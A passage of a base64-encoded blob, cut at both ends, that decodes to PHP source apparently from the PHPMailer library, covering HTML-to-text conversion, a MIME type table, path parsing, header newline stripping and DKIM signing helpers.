ydWUpOwogICAgICAgIC8vIENvbnZlcnQgYWxsIG1lc3NhZ2UgYm9keSBsaW5lIGJyZWFrcyB0byBDUkxGLCBtYWtlcyBxdW90ZWQtcHJpbnRhYmxlIGVuY29kaW5nIHdvcmsgbXVjaCBiZXR0ZXIKICAgICAgICAkdGhpcy0+Qm9keSA9ICR0aGlzLT5ub3JtYWxpemVCcmVha3MoJG1lc3NhZ2UpOwogICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJHRoaXMtPm5vcm1hbGl6ZUJyZWFrcygkdGhpcy0+aHRtbDJ0ZXh0KCRtZXNzYWdlLCAkYWR2YW5jZWQpKTsKICAgICAgICBpZiAoISR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJ1RvIHZpZXcgdGhpcyBlbWFpbCBtZXNzYWdlLCBvcGVuIGl0IGluIGEgcHJvZ3JhbSB0aGF0IHVuZGVyc3RhbmRzIEhUTUwhJyAuCiAgICAgICAgICAgICAgICBzZWxmOjpDUkxGIC4gc2VsZjo6Q1JMRjsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0aGlzLT5Cb2R5OwogICAgfQoKICAgIC8qKgogICAgICogQ29udmVydCBhbiBIVE1MIHN0cmluZyBpbnRvIHBsYWluIHRleHQuCiAgICAgKiBUaGlzIGlzIHVzZWQgYnkgbXNnSFRNTCgpLgogICAgICogTm90ZSAtIG9sZGVyIHZlcnNpb25zIG9mIHRoaXMgZnVuY3Rpb24gdXNlZCBhIGJ1bmRsZWQgYWR2YW5jZWQgY29udmVydGVyCiAgICAgKiB3aGljaCB3YXMgYmVlbiByZW1vdmVkIGZvciBsaWNlbnNlIHJlYXNvbnMgaW4gIzIzMi4KICAgICAqIEV4YW1wbGUgdXNhZ2U6CiAgICAgKiA8Y29kZT4KICAgICAqIC8vIFVzZSBkZWZhdWx0IGNvbnZlcnNpb24KICAgICAqICRwbGFpbiA9ICRtYWlsLT5odG1sMnRleHQoJGh0bWwpOwogICAgICogLy8gVXNlIHlvdXIgb3duIGN1c3RvbSBjb252ZXJ0ZXIKICAgICAqICRwbGFpbiA9ICRtYWlsLT5odG1sMnRleHQoJGh0bWwsIGZ1bmN0aW9uKCRodG1sKSB7CiAgICAgKiAgICAgJGNvbnZlcnRlciA9IG5ldyBNeUh0bWwydGV4dCgkaHRtbCk7CiAgICAgKiAgICAgcmV0dXJuICRjb252ZXJ0ZXItPmdldF90ZXh0KCk7CiAgICAgKiB9KTsKICAgICAqIDwvY29kZT4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGh0bWwgVGhlIEhUTUwgdGV4dCB0byBjb252ZXJ0CiAgICAgKiBAcGFyYW0gYm9vbGVhbnxjYWxsYWJsZSAkYWR2YW5jZWQgQW55IGJvb2xlYW4gdmFsdWUgdG8gdXNlIHRoZSBpbnRlcm5hbCBjb252ZXJ0ZXIsCiAgICAgKiAgIG9yIHByb3ZpZGUgeW91ciBvd24gY2FsbGFibGUgZm9yIGN1c3RvbSBjb252ZXJzaW9uLgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGh0bWwydGV4dCgkaHRtbCwgJGFkdmFuY2VkID0gZmFsc2UpCiAgICB7CiAgICAgICAgaWYgKGlzX2NhbGxhYmxlKCRhZHZhbmNlZCkpIHsKICAgICAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jKCRhZHZhbmNlZCwgJGh0bWwpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gaHRtbF9lbnRpdHlfZGVjb2RlKAogICAgICAgICAgICB0cmltKHN0cmlwX3RhZ3MocHJlZ19yZXBsYWNlKCcvPChoZWFkfHRpdGxlfHN0eWxlfHNjcmlwdClbXj5dKj4uKj88XC9cXDE+L3NpJywgJycsICRodG1sKSkpLAogICAgICAgICAgICBFTlRfUVVPVEVTLAogICAgICAgICAgICAkdGhpcy0+Q2hhclNldAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIE1JTUUgdHlwZSBmb3IgYSBmaWxlIGV4dGVuc2lvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGV4dCBGaWxlIGV4dGVuc2lvbgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nIE1JTUUgdHlwZSBvZiBmaWxlLgogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIF9taW1lX3R5cGVzKCRleHQgPSAnJykKICAgIHsKICAgICAgICAkbWltZXMgPSBhcnJheSgKICAgICAgICAgICAgJ3hsJyAgICA9PiAnYXBwbGljYXRpb24vZXhjZWwnLAogICAgICAgICAgICAnanMnICAgID0+ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JywKICAgICAgICAgICAgJ2hxeCcgICA9PiAnYXBwbGljYXRpb24vbWFjLWJpbmhleDQwJywKICAgICAgICAgICAgJ2NwdCcgICA9PiAnYXBwbGljYXRpb24vbWFjLWNvbXBhY3Rwcm8nLAogICAgICAgICAgICAnYmluJyAgID0+ICdhcHBsaWNhdGlvbi9tYWNiaW5hcnknLAogICAgICAgICAgICAnZG9jJyAgID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAnd29yZCcgID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAneGxzeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQuc3ByZWFkc2hlZXRtbC5zaGVldCcsCiAgICAgICAgICAgICd4bHR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5zcHJlYWRzaGVldG1sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3BvdHgnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3Bwc3gnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnNsaWRlc2hvdycsCiAgICAgICAgICAgICdwcHR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5wcmVzZW50YXRpb25tbC5wcmVzZW50YXRpb24nLAogICAgICAgICAgICAnc2xkeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQucHJlc2VudGF0aW9ubWwuc2xpZGUnLAogICAgICAgICAgICAnZG9jeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC5kb2N1bWVudCcsCiAgICAgICAgICAgICdkb3R4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC53b3JkcHJvY2Vzc2luZ21sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3hsYW0nICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsLmFkZGluLm1hY3JvRW5hYmxlZC4xMicsCiAgICAgICAgICAgICd4bHNiJyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbC5zaGVldC5iaW5hcnkubWFjcm9FbmFibGVkLjEyJywKICAgICAgICAgICAgJ2NsYXNzJyA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2RsbCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2RtcycgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2V4ZScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2xoYScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2x6aCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3BzZCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NlYScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NvJyAgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ29kYScgICA9PiAnYXBwbGljYXRpb24vb2RhJywKICAgICAgICAgICAgJ3BkZicgICA9PiAnYXBwbGljYXRpb24vcGRmJywKICAgICAgICAgICAgJ2FpJyAgICA9PiAnYXBwbGljYXRpb24vcG9zdHNjcmlwdCcsCiAgICAgICAgICAgICdlcHMnICAgPT4gJ2FwcGxpY2F0aW9uL3Bvc3RzY3JpcHQnLAogICAgICAgICAgICAncHMnICAgID0+ICdhcHBsaWNhdGlvbi9wb3N0c2NyaXB0JywKICAgICAgICAgICAgJ3NtaScgICA9PiAnYXBwbGljYXRpb24vc21pbCcsCiAgICAgICAgICAgICdzbWlsJyAgPT4gJ2FwcGxpY2F0aW9uL3NtaWwnLAogICAgICAgICAgICAnbWlmJyAgID0+ICdhcHBsaWNhdGlvbi92bmQubWlmJywKICAgICAgICAgICAgJ3hscycgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsJywKICAgICAgICAgICAgJ3BwdCcgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLXBvd2VycG9pbnQnLAogICAgICAgICAgICAnd2J4bWwnID0+ICdhcHBsaWNhdGlvbi92bmQud2FwLndieG1sJywKICAgICAgICAgICAgJ3dtbGMnICA9PiAnYXBwbGljYXRpb24vdm5kLndhcC53bWxjJywKICAgICAgICAgICAgJ2RjcicgICA9PiAnYXBwbGljYXRpb24veC1kaXJlY3RvcicsCiAgICAgICAgICAgICdkaXInICAgPT4gJ2FwcGxpY2F0aW9uL3gtZGlyZWN0b3InLAogICAgICAgICAgICAnZHhyJyAgID0+ICdhcHBsaWNhdGlvbi94LWRpcmVjdG9yJywKICAgICAgICAgICAgJ2R2aScgICA9PiAnYXBwbGljYXRpb24veC1kdmknLAogICAgICAgICAgICAnZ3RhcicgID0+ICdhcHBsaWNhdGlvbi94LWd0YXInLAogICAgICAgICAgICAncGhwMycgID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHA0JyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwJywKICAgICAgICAgICAgJ3BocCcgICA9PiAnYXBwbGljYXRpb24veC1odHRwZC1waHAnLAogICAgICAgICAgICAncGh0bWwnID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHBzJyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwLXNvdXJjZScsCiAgICAgICAgICAgICdzd2YnICAgPT4gJ2FwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoJywKICAgICAgICAgICAgJ3NpdCcgICA9PiAnYXBwbGljYXRpb24veC1zdHVmZml0JywKICAgICAgICAgICAgJ3RhcicgICA9PiAnYXBwbGljYXRpb24veC10YXInLAogICAgICAgICAgICAndGd6JyAgID0+ICdhcHBsaWNhdGlvbi94LXRhcicsCiAgICAgICAgICAgICd4aHQnICAgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsCiAgICAgICAgICAgICd4aHRtbCcgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsCiAgICAgICAgICAgICd6aXAnICAgPT4gJ2FwcGxpY2F0aW9uL3ppcCcsCiAgICAgICAgICAgICdtaWQnICAgPT4gJ2F1ZGlvL21pZGknLAogICAgICAgICAgICAnbWlkaScgID0+ICdhdWRpby9taWRpJywKICAgICAgICAgICAgJ21wMicgICA9PiAnYXVkaW8vbXBlZycsCiAgICAgICAgICAgICdtcDMnICAgPT4gJ2F1ZGlvL21wZWcnLAogICAgICAgICAgICAnbXBnYScgID0+ICdhdWRpby9tcGVnJywKICAgICAgICAgICAgJ2FpZicgICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmMnICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmYnICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ3JhbScgICA9PiAnYXVkaW8veC1wbi1yZWFsYXVkaW8nLAogICAgICAgICAgICAncm0nICAgID0+ICdhdWRpby94LXBuLXJlYWxhdWRpbycsCiAgICAgICAgICAgICdycG0nICAgPT4gJ2F1ZGlvL3gtcG4tcmVhbGF1ZGlvLXBsdWdpbicsCiAgICAgICAgICAgICdyYScgICAgPT4gJ2F1ZGlvL3gtcmVhbGF1ZGlvJywKICAgICAgICAgICAgJ3dhdicgICA9PiAnYXVkaW8veC13YXYnLAogICAgICAgICAgICAnYm1wJyAgID0+ICdpbWFnZS9ibXAnLAogICAgICAgICAgICAnZ2lmJyAgID0+ICdpbWFnZS9naWYnLAogICAgICAgICAgICAnanBlZycgID0+ICdpbWFnZS9qcGVnJywKICAgICAgICAgICAgJ2pwZScgICA9PiAnaW1hZ2UvanBlZycsCiAgICAgICAgICAgICdqcGcnICAgPT4gJ2ltYWdlL2pwZWcnLAogICAgICAgICAgICAncG5nJyAgID0+ICdpbWFnZS9wbmcnLAogICAgICAgICAgICAndGlmZicgID0+ICdpbWFnZS90aWZmJywKICAgICAgICAgICAgJ3RpZicgICA9PiAnaW1hZ2UvdGlmZicsCiAgICAgICAgICAgICdlbWwnICAgPT4gJ21lc3NhZ2UvcmZjODIyJywKICAgICAgICAgICAgJ2NzcycgICA9PiAndGV4dC9jc3MnLAogICAgICAgICAgICAnaHRtbCcgID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnaHRtJyAgID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnc2h0bWwnID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnbG9nJyAgID0+ICd0ZXh0L3BsYWluJywKICAgICAgICAgICAgJ3RleHQnICA9PiAndGV4dC9wbGFpbicsCiAgICAgICAgICAgICd0eHQnICAgPT4gJ3RleHQvcGxhaW4nLAogICAgICAgICAgICAncnR4JyAgID0+ICd0ZXh0L3JpY2h0ZXh0JywKICAgICAgICAgICAgJ3J0ZicgICA9PiAndGV4dC9ydGYnLAogICAgICAgICAgICAndmNmJyAgID0+ICd0ZXh0L3ZjYXJkJywKICAgICAgICAgICAgJ3ZjYXJkJyA9PiAndGV4dC92Y2FyZCcsCiAgICAgICAgICAgICd4bWwnICAgPT4gJ3RleHQveG1sJywKICAgICAgICAgICAgJ3hzbCcgICA9PiAndGV4dC94bWwnLAogICAgICAgICAgICAnbXBlZycgID0+ICd2aWRlby9tcGVnJywKICAgICAgICAgICAgJ21wZScgICA9PiAndmlkZW8vbXBlZycsCiAgICAgICAgICAgICdtcGcnICAgPT4gJ3ZpZGVvL21wZWcnLAogICAgICAgICAgICAnbW92JyAgID0+ICd2aWRlby9xdWlja3RpbWUnLAogICAgICAgICAgICAncXQnICAgID0+ICd2aWRlby9xdWlja3RpbWUnLAogICAgICAgICAgICAncnYnICAgID0+ICd2aWRlby92bmQucm4tcmVhbHZpZGVvJywKICAgICAgICAgICAgJ2F2aScgICA9PiAndmlkZW8veC1tc3ZpZGVvJywKICAgICAgICAgICAgJ21vdmllJyA9PiAndmlkZW8veC1zZ2ktbW92aWUnCiAgICAgICAgKTsKICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cyhzdHJ0b2xvd2VyKCRleHQpLCAkbWltZXMpKSB7CiAgICAgICAgICAgIHJldHVybiAkbWltZXNbc3RydG9sb3dlcigkZXh0KV07CiAgICAgICAgfQogICAgICAgIHJldHVybiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsKICAgIH0KCiAgICAvKioKICAgICAqIE1hcCBhIGZpbGUgbmFtZSB0byBhIE1JTUUgdHlwZS4KICAgICAqIERlZmF1bHRzIHRvICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLCBpLmUuLiBhcmJpdHJhcnkgYmluYXJ5IGRhdGEuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZSBBIGZpbGUgbmFtZSBvciBmdWxsIHBhdGgsIGRvZXMgbm90IG5lZWQgdG8gZXhpc3QgYXMgYSBmaWxlCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSkKICAgIHsKICAgICAgICAvLyBJbiBjYXNlIHRoZSBwYXRoIGlzIGEgVVJMLCBzdHJpcCBhbnkgcXVlcnkgc3RyaW5nIGJlZm9yZSBnZXR0aW5nIGV4dGVuc2lvbgogICAgICAgICRxcG9zID0gc3RycG9zKCRmaWxlbmFtZSwgJz8nKTsKICAgICAgICBpZiAoZmFsc2UgIT09ICRxcG9zKSB7CiAgICAgICAgICAgICRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZW5hbWUsIDAsICRxcG9zKTsKICAgICAgICB9CiAgICAgICAgJHBhdGhpbmZvID0gc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lKTsKICAgICAgICByZXR1cm4gc2VsZjo6X21pbWVfdHlwZXMoJHBhdGhpbmZvWydleHRlbnNpb24nXSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBNdWx0aS1ieXRlLXNhZmUgcGF0aGluZm8gcmVwbGFjZW1lbnQuCiAgICAgKiBEcm9wLWluIHJlcGxhY2VtZW50IGZvciBwYXRoaW5mbygpLCBidXQgbXVsdGlieXRlLXNhZmUsIGNyb3NzLXBsYXRmb3JtLXNhZmUsIG9sZC12ZXJzaW9uLXNhZmUuCiAgICAgKiBXb3JrcyBzaW1pbGFybHkgdG8gdGhlIG9uZSBpbiBQSFAgPj0gNS4yLjAKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ucGF0aGluZm8ucGhwIzEwNzQ2MQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBBIGZpbGVuYW1lIG9yIHBhdGgsIGRvZXMgbm90IG5lZWQgdG8gZXhpc3QgYXMgYSBmaWxlCiAgICAgKiBAcGFyYW0gaW50ZWdlcnxzdHJpbmcgJG9wdGlvbnMgRWl0aGVyIGEgUEFUSElORk9fKiBjb25zdGFudCwKICAgICAqICAgICAgb3IgYSBzdHJpbmcgbmFtZSB0byByZXR1cm4gb25seSB0aGUgc3BlY2lmaWVkIHBpZWNlLCBhbGxvd3MgJ2ZpbGVuYW1lJyB0byB3b3JrIG9uIFBIUCA8IDUuMgogICAgICogQHJldHVybiBzdHJpbmd8YXJyYXkKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBtYl9wYXRoaW5mbygkcGF0aCwgJG9wdGlvbnMgPSBudWxsKQogICAgewogICAgICAgICRyZXQgPSBhcnJheSgnZGlybmFtZScgPT4gJycsICdiYXNlbmFtZScgPT4gJycsICdleHRlbnNpb24nID0+ICcnLCAnZmlsZW5hbWUnID0+ICcnKTsKICAgICAgICAkcGF0aGluZm8gPSBhcnJheSgpOwogICAgICAgIGlmIChwcmVnX21hdGNoKCclXiguKj8pW1xcXFwvXSooKFteL1xcXFxdKj8pKFwuKFteXC5cXFxcL10rPyl8KSlbXFxcXC9cLl0qJCVpbScsICRwYXRoLCAkcGF0aGluZm8pKSB7CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDEsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2Rpcm5hbWUnXSA9ICRwYXRoaW5mb1sxXTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkcGF0aGluZm8pKSB7CiAgICAgICAgICAgICAgICAkcmV0WydiYXNlbmFtZSddID0gJHBhdGhpbmZvWzJdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDUsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2V4dGVuc2lvbiddID0gJHBhdGhpbmZvWzVdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDMsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2ZpbGVuYW1lJ10gPSAkcGF0aGluZm9bM107CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgc3dpdGNoICgkb3B0aW9ucykgewogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0RJUk5BTUU6CiAgICAgICAgICAgIGNhc2UgJ2Rpcm5hbWUnOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2Rpcm5hbWUnXTsKICAgICAgICAgICAgY2FzZSBQQVRISU5GT19CQVNFTkFNRToKICAgICAgICAgICAgY2FzZSAnYmFzZW5hbWUnOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2Jhc2VuYW1lJ107CiAgICAgICAgICAgIGNhc2UgUEFUSElORk9fRVhURU5TSU9OOgogICAgICAgICAgICBjYXNlICdleHRlbnNpb24nOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2V4dGVuc2lvbiddOwogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0ZJTEVOQU1FOgogICAgICAgICAgICBjYXNlICdmaWxlbmFtZSc6CiAgICAgICAgICAgICAgICByZXR1cm4gJHJldFsnZmlsZW5hbWUnXTsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIHJldHVybiAkcmV0OwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFNldCBvciByZXNldCBpbnN0YW5jZSBwcm9wZXJ0aWVzLgogICAgICogWW91IHNob3VsZCBhdm9pZCB0aGlzIGZ1bmN0aW9uIC0gaXQncyBtb3JlIHZlcmJvc2UsIGxlc3MgZWZmaWNpZW50LCBtb3JlIGVycm9yLXByb25lIGFuZAogICAgICogaGFyZGVyIHRvIGRlYnVnIHRoYW4gc2V0dGluZyBwcm9wZXJ0aWVzIGRpcmVjdGx5LgogICAgICogVXNhZ2UgRXhhbXBsZToKICAgICAqIGAkbWFpbC0+c2V0KCdTTVRQU2VjdXJlJywgJ3RscycpO2AKICAgICAqICAgaXMgdGhlIHNhbWUgYXM6CiAgICAgKiBgJG1haWwtPlNNVFBTZWN1cmUgPSAndGxzJztgCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgcHJvcGVydHkgbmFtZSB0byBzZXQKICAgICAqIEBwYXJhbSBtaXhlZCAkdmFsdWUgVGhlIHZhbHVlIHRvIHNldCB0aGUgcHJvcGVydHkgdG8KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQFRPRE8gU2hvdWxkIHRoaXMgbm90IGJlIHVzaW5nIHRoZSBfX3NldCgpIG1hZ2ljIGZ1bmN0aW9uPwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0KCRuYW1lLCAkdmFsdWUgPSAnJykKICAgIHsKICAgICAgICBpZiAocHJvcGVydHlfZXhpc3RzKCR0aGlzLCAkbmFtZSkpIHsKICAgICAgICAgICAgJHRoaXMtPiRuYW1lID0gJHZhbHVlOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJHRoaXMtPmxhbmcoJ3ZhcmlhYmxlX3NldCcpIC4gJG5hbWUpOwogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogU3RyaXAgbmV3bGluZXMgdG8gcHJldmVudCBoZWFkZXIgaW5qZWN0aW9uLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0cgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNlY3VyZUhlYWRlcigkc3RyKQogICAgewogICAgICAgIHJldHVybiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCJcciIsICJcbiIpLCAnJywgJHN0cikpOwogICAgfQoKICAgIC8qKgogICAgICogTm9ybWFsaXplIGxpbmUgYnJlYWtzIGluIGEgc3RyaW5nLgogICAgICogQ29udmVydHMgVU5JWCBMRiwgTWFjIENSIGFuZCBXaW5kb3dzIENSTEYgbGluZSBicmVha3MgaW50byBhIHNpbmdsZSBsaW5lIGJyZWFrIGZvcm1hdC4KICAgICAqIERlZmF1bHRzIHRvIENSTEYgKGZvciBtZXNzYWdlIGJvZGllcykgYW5kIHByZXNlcnZlcyBjb25zZWN1dGl2ZSBicmVha3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0ZXh0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRicmVha3R5cGUgV2hhdCBraW5kIG9mIGxpbmUgYnJlYWsgdG8gdXNlLCBkZWZhdWx0cyB0byBDUkxGCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBub3JtYWxpemVCcmVha3MoJHRleHQsICRicmVha3R5cGUgPSAiXHJcbiIpCiAgICB7CiAgICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcclxufFxyfFxuKS9tcycsICRicmVha3R5cGUsICR0ZXh0KTsKICAgIH0KCiAgICAvKioKICAgICAqIFNldCB0aGUgcHVibGljIGFuZCBwcml2YXRlIGtleSBmaWxlcyBhbmQgcGFzc3dvcmQgZm9yIFMvTUlNRSBzaWduaW5nLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGNlcnRfZmlsZW5hbWUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGtleV9maWxlbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAka2V5X3Bhc3MgUGFzc3dvcmQgZm9yIHByaXZhdGUga2V5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRleHRyYWNlcnRzX2ZpbGVuYW1lIE9wdGlvbmFsIHBhdGggdG8gY2hhaW4gY2VydGlmaWNhdGUKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNpZ24oJGNlcnRfZmlsZW5hbWUsICRrZXlfZmlsZW5hbWUsICRrZXlfcGFzcywgJGV4dHJhY2VydHNfZmlsZW5hbWUgPSAnJykKICAgIHsKICAgICAgICAkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUgPSAkY2VydF9maWxlbmFtZTsKICAgICAgICAkdGhpcy0+c2lnbl9rZXlfZmlsZSA9ICRrZXlfZmlsZW5hbWU7CiAgICAgICAgJHRoaXMtPnNpZ25fa2V5X3Bhc3MgPSAka2V5X3Bhc3M7CiAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlID0gJGV4dHJhY2VydHNfZmlsZW5hbWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBRdW90ZWQtUHJpbnRhYmxlLWVuY29kZSBhIERLSU0gaGVhZGVyLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fUVAoJHR4dCkKICAgIHsKICAgICAgICAkbGluZSA9ICcnOwogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkdHh0KTsgJGkrKykgewogICAgICAgICAgICAkb3JkID0gb3JkKCR0eHRbJGldKTsKICAgICAgICAgICAgaWYgKCgoMHgyMSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDNBKSkgfHwgJG9yZCA9PSAweDNDIHx8ICgoMHgzRSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDdFKSkpIHsKICAgICAgICAgICAgICAgICRsaW5lIC49ICR0eHRbJGldOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGxpbmUgLj0gJz0nIC4gc3ByaW50ZignJTAyWCcsICRvcmQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbGluZTsKICAgIH0KCiAgICAvKioKICAgICAqIEdlbmVyYXRlIGEgREtJTSBzaWduYXR1cmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlcgogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBES0lNIHNpZ25hdHVyZSB2YWx1ZQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9TaWduKCRzaWduSGVhZGVyKQogICAgewogICAgICAgIGlmICghZGVma